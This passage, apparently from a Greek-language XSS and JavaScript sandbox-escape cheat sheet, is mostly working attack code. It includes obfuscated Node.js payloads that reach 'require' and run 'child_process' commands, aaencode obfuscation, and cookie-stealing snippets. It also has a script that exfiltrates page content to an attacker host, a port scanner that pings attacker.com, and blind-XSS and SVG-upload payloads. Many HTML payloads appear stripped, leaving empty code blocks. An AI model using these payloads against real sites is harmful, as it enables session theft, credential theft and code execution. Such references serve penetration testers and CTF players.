with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Αν **τα πάντα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα: - Χρησιμοποιώντας import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Πρόσβαση στο `require` έμμεσα [Σύμφωνα με αυτό](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) τα modules περιβάλλονται από το Node.js μέσα σε μια συνάρτηση, όπως αυτό: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Επομένως, αν από εκείνο το module μπορούμε να **καλέσουμε μια άλλη συνάρτηση**, είναι δυνατόν να χρησιμοποιήσουμε `arguments.callee.caller.arguments[1]` από εκείνη τη συνάρτηση για να αποκτήσουμε πρόσβαση στο **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη **`require`** συνάρτηση: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuscation & Advanced Bypass - **Διαφορετικές παραλλαγές σε μία σελίδα:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Πιο εξελιγμένο JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS κοινές επιθέσεις ### Πολλές επιθέσεις σε 1 {{#ref}} steal-info-js.md {{#endref}} ### Παγίδα Iframe Κάντε τον χρήστη να πλοηγηθεί στη σελίδα χωρίς να βγει από ένα iframe και κλέψτε τις ενέργειές του (συμπεριλαμβανομένων των πληροφοριών που αποστέλλονται σε φόρμες): {{#ref}} ../iframe-traps.md {{#endref}} ### Ανάκτηση Cookies ```javascript /?c="+document.cookie> ``` > [!NOTE] > Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. ### Κλέψτε Περιεχόμενο Σελίδας ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Βρείτε εσωτερικές διευθύνσεις IP ```html ``` ### Σαρωτής Θερμικών Θυρών (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Σαρωτής Θυρών (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Συλλογή κωδικών πρόσβασης αυτόματης συμπλήρωσης ```javascript Username:
Password:
``` Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν. ### Keylogger Απλά ψάχνοντας στο github βρήκα μερικούς διαφορετικούς: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger` ### Stealing CSRF tokens ```javascript ``` ### Κλοπή μηνυμάτων PostMessage ```html ``` ### Κατάχρηση Υπηρεσιών Εργαζομένων {{#ref}} abusing-service-workers.md {{#endref}} ### Πρόσβαση στο Shadow DOM {{#ref}} shadow-dom.md {{#endref}} ### Πολυγλωσσικά {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Blind XSS payloads Μπορείτε επίσης να χρησιμοποιήσετε: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >
Click Me For An Awesome Time "> "> {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" re = /./g re.test(flag) // Remove flag value, nobody will be able to get it, right? flag = "" // Access previous regex input console.log(RegExp.input) console.log(RegExp.rightContext) console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` ### Λίστα Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} ## XSS Κατάχρηση άλλων ευπαθειών ### XSS σε Markdown Μπορείτε να εισάγετε κώδικα Markdown που θα αποδοθεί; Ίσως μπορείτε να αποκτήσετε XSS! Ελέγξτε: {{#ref}} xss-in-markdown.md {{#endref}} ### XSS σε SSRF Έχετε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload: ```python ``` Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!\ Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS σε δυναμικά δημιουργημένο PDF Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\ Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} Εάν δεν μπορείτε να εισάγετε HTML tags, μπορεί να αξίζει να προσπαθήσετε να **εισάγετε δεδομένα PDF**: {{#ref}} pdf-injection.md {{#endref}} ### XSS σε Amp4Email Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites). Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους. Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS ανεβάζοντας αρχεία (svg) Ανεβάστε ως εικόνα ένα αρχείο όπως το παρακάτω (από [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml -----------------------------232181429808-- ``` ```html ``` ```html ``` ```svg